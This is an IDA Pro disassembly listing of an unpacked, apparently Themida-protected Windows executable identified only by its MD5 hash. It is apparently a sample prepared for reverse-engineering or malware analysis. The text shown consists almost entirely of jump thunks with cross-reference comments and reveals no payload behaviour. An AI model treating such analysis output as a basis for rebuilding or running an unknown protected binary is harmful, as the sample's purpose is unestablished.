;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : B4AA1162928C1017EC18E46347464879
; File Name : u:\work\b4aa1162928c1017ec18e46347464879_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00112000 (1122304.)
; Section size in file : 00112000 (1122304.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:00582DB4o
; ---------------------------------------------------------------------------
jmp loc_430920
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43F09Co
jmp loc_412D80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421BF0+29p
jmp sub_422150
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_432540
; ---------------------------------------------------------------------------
jmp loc_420EA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004119B3p
jmp sub_4119E0
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B29Dp
; ___:0040B2AAp ...
jmp sub_403C50
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FB90+34p
jmp sub_40B0E0
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404CC0+616p
; sub_404CC0+6D5p ...
jmp sub_40A110
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42B3F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp
; ___:00414C00p
jmp sub_4156D0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_430B30+6Ep
; sub_430B30+8Ap ...
jmp sub_4342D0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:00430212p
; sub_430B30+3Fp ...
jmp sub_434150
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423A40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D210
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap
; sub_40B150+1Ap
jmp sub_433C70
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E760+37Bp
jmp sub_421D30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C1A0+8p
jmp sub_40C360
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap
; sub_434A00+50p
jmp sub_432BB0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43F07Co
jmp sub_41C710
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416FAAp
jmp sub_41FCD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40C040+32p
jmp sub_40C200
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416FBAp
jmp sub_418390
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415920+6Ap
; sub_416380+32p
jmp sub_4162C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E760+161p
; sub_4224E0+3p
jmp sub_421B50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421D30+3p
; ___:004220FFp ...
jmp sub_422270
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C4E0+43p
jmp sub_40CBB0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_4292E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_4075C0+Ap
jmp sub_407660
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p
; sub_424870+6p ...
jmp sub_4245E0
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p
; sub_431EF0+14Fp
jmp sub_4340E0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p
jmp sub_431C80
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043F174o
jmp sub_42B0B0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43F0A0o
jmp loc_41E3C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418430+D0p
; sub_418590+2Dp
jmp sub_418B20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_410030+8D9p
; sub_410030+990p ...
jmp sub_411930
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:00430626p
; ___:00430694p ...
jmp sub_4321F0
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421E50+9p
; sub_422340+18p
jmp sub_4224C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p
; sub_40AAD0+82p ...
jmp sub_40ACC0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p
; ___:00423BA6p ...
jmp sub_419BE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416110+7p
jmp sub_416740
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415600+5Bp
; sub_415F70+11p ...
jmp sub_4161C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p
jmp sub_42AD90
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp
jmp sub_421DB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_4220B0+11p
; ___:004220D7p ...
jmp sub_4225D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421B30+3p
; ___:00421E9Fp ...
jmp sub_422010
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_4144D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_428210+3p
jmp sub_428240
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415B00+11p
; ___:00415B27p ...
jmp sub_416570
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_434600
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421C60+5p
; sub_421D50+6p ...
jmp sub_422250
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416B5Bp
; ___:0043B25Ej ...
jmp sub_417B60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap
; sub_404CC0+1AFp ...
jmp sub_412A40
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43F074o
jmp sub_4193C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_432D10+6p
; ___:00432D23p ...
jmp sub_430770
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42F6C0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43F15Co
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423D9Dp
jmp sub_423860
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_433240
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:00415178p
jmp sub_415A90
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41BA50+F7p
; sub_41BA50+10Bp ...
jmp sub_409F80
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_4099F0+Ap
jmp sub_409AE0
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4134A0+55p
; sub_4134A0+94p ...
jmp sub_415860
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425100+18Cp
; ___:00425F7Dp
jmp sub_4236F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414C8Ep
jmp sub_415600
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_4288F0+3p
jmp sub_428920
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43F038o
jmp loc_4119B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415ED0+11p
; ___:00415EF7p ...
jmp sub_4166F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418C10+23p
; sub_418E80+11p
jmp sub_418F60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418B90+3p
; sub_418F90+54p ...
jmp sub_418DE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap
; sub_4096E0+103p
jmp sub_409980
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_433B30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413E4Dp
jmp sub_413C40
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A2E4p
jmp sub_41B0E0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4134A0+88p
; sub_4148A0+BFp ...
jmp sub_415A30
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_430770+7p
; sub_4307E0+19p ...
jmp sub_434BA0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DBF0
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:0043239Ap
jmp sub_431D40
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_407230+11p
; sub_4073C0+1Fp
jmp sub_407460
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p
; sub_403720+3C5p ...
jmp sub_403E50
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421D10+3p
jmp sub_422290
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C330+Ap
jmp sub_40C3F0
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp
; sub_407080+1Fp ...
jmp sub_403CC0
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413344p
; ___:0043AC8Cj ...
jmp sub_415490
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42C640+3p
jmp sub_42C670
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AFE0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp
jmp sub_414D40
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407660+7p
; sub_409AE0+7p ...
jmp sub_407690
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p
; ___:00414C3Dp ...
jmp sub_4156F0
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E760+58p
jmp sub_420630
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413E70+84p
jmp sub_4138B0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00433718p
jmp sub_431060
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_407510+8p
jmp sub_4075F0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp
; sub_404CC0+230p ...
jmp sub_40A510
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A870+21p
; sub_40AAD0+A5p
jmp sub_40AAB0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40B050
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A510+129p
; sub_40A8F0+4p ...
jmp sub_40A8C0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo
jmp sub_427940
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004335ADp
jmp sub_430D60
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_407340+3p
; ___:0040740Fp ...
jmp sub_4074D0
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D930+346p
; sub_41D930+410p ...
jmp sub_421970
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421BB0+11p
; sub_4220B0+1Fp
jmp sub_4221E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42C7E0+3p
jmp sub_42C810
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_4077E0
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C200+5Fp
jmp sub_40C3D0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_403530+F6p
; sub_403530+12Ep ...
jmp sub_409D10
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E760+113p
; sub_41E760+124p
jmp sub_421B30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043F060o
jmp sub_41F960
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416BFBp
; ___:0043B1D2j ...
jmp sub_4177B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp
jmp sub_431240
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418C10+32p
jmp sub_418E80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_434860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415500+5p
; sub_415710+6p ...
jmp sub_416130
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BD90+29p
; sub_40BEB0+29p
jmp sub_40C040
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E760+3E9p
; ___:0043C4ABj
jmp sub_421BF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4145A0+BFp
jmp sub_4152E0
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4165E0+Ap
jmp sub_416920
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416C67p
; ___:0043B173j ...
jmp sub_4170B0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418430
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416D30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416F1Fp
jmp sub_4180D0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414760
; ---------------------------------------------------------------------------
jmp loc_430320
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_410030+387p
; sub_41F030+21Dp ...
jmp sub_41B7E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416F5Ap
jmp sub_418280
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409570+8p
jmp sub_4095C0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_4096E0+A5p
; sub_412C90+21p
jmp sub_4098F0
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404CC0+382p
; sub_41D930+5AAp
jmp sub_41C130
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416E6Fp
jmp sub_403720
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p
; sub_418F90+11p
jmp sub_4190E0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424920+Cp
; sub_424920+3Ep ...
jmp sub_424410
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_430960
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap
; sub_404CC0+AD6p ...
jmp sub_40A370
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042FE06p
; ___:0042FE56p ...
jmp sub_432780
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E760+367p
; sub_41E760+3D4p ...
jmp sub_421D80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_427D50+107o
jmp sub_427FD0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424800+18p
; sub_424840+Ap ...
jmp sub_4247B0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416220+9p
; sub_4162C0+18p
jmp sub_4168D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_432570+32o
jmp sub_432D70
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42FE50
; ---------------------------------------------------------------------------
jmp loc_419CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_42AD90+67p
jmp sub_41FFF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:004301E8p
; sub_4303A0+2p ...
jmp sub_431560
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp
; sub_4145A0+40p ...
jmp sub_415230
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404690+19Fp
; sub_404690+212p ...
jmp sub_409FD0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p
; sub_424F70+F1p
jmp sub_424F00
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425100+130p
jmp sub_424F70
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416F3Ap
jmp sub_418180
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418010
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4316C0+1p
jmp sub_431750
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00427201p
jmp sub_427740
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418430+71p
; sub_418430+BBp ...
jmp sub_418AF0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A180+7p
jmp sub_40A1A0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004329C8p
; sub_432A20+2Bp
jmp sub_432BF0
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_432570+1p
jmp sub_4327B0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp
jmp sub_421CD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414430+5Bp
jmp sub_415100
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_415490+29p
; sub_4155B0+29p
jmp sub_416030
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00437232p
; ___:00437242p ...
jmp sub_4370F0
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp
; sub_4134A0+9Ep ...
jmp sub_415A60
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B600+62p
; ___:0040BAC8p ...
jmp sub_40BF40
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4313B0
; ---------------------------------------------------------------------------
jmp loc_42FF30
; ---------------------------------------------------------------------------
loc_40134D: ; DATA XREF: ___:0043F1A8o
jmp loc_42C690
; ---------------------------------------------------------------------------
jmp loc_42C5D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416190+8p
jmp sub_4167B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4134A0+71p
; sub_4134A0:loc_41356Cp ...
jmp sub_415A10
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418430+AFp
; sub_4190E0+3p
jmp sub_418BB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043F104o
jmp sub_427D50
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B600+39p
; sub_40B600+78p ...
jmp sub_40BF70
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_426A90+29p
; sub_426A90+38p
jmp sub_4269A0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A600+1Cp
jmp sub_41A640
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043F164o
jmp sub_42AF20
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408C9Ep
; ___:00414551p
jmp sub_414300
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418590+72p
jmp sub_406C80
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409E00+7p
; sub_409F50+7p ...
jmp sub_40A7E0
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43F080o
jmp sub_422B40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413BB0
; ---------------------------------------------------------------------------
jmp sub_42C640
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418A00+11p
; sub_421DB0+1Fp
jmp sub_418D50
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5C0
loc_4013A2: ; CODE XREF: sub_42C5C0+3j
jmp sub_42BB00
; END OF FUNCTION CHUNK FOR sub_42C5C0
; ---------------------------------------------------------------------------
jmp sub_42C7E0
; ---------------------------------------------------------------------------
jmp loc_42FEA0
; ---------------------------------------------------------------------------
jmp loc_414B30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp
jmp sub_4073C0
sub_4013B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp
jmp sub_4253C0
sub_4013BB endp
; ---------------------------------------------------------------------------
jmp loc_42FAA0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p
; ___:00416BEBp ...
jmp sub_40FE70
sub_4013C5 endp
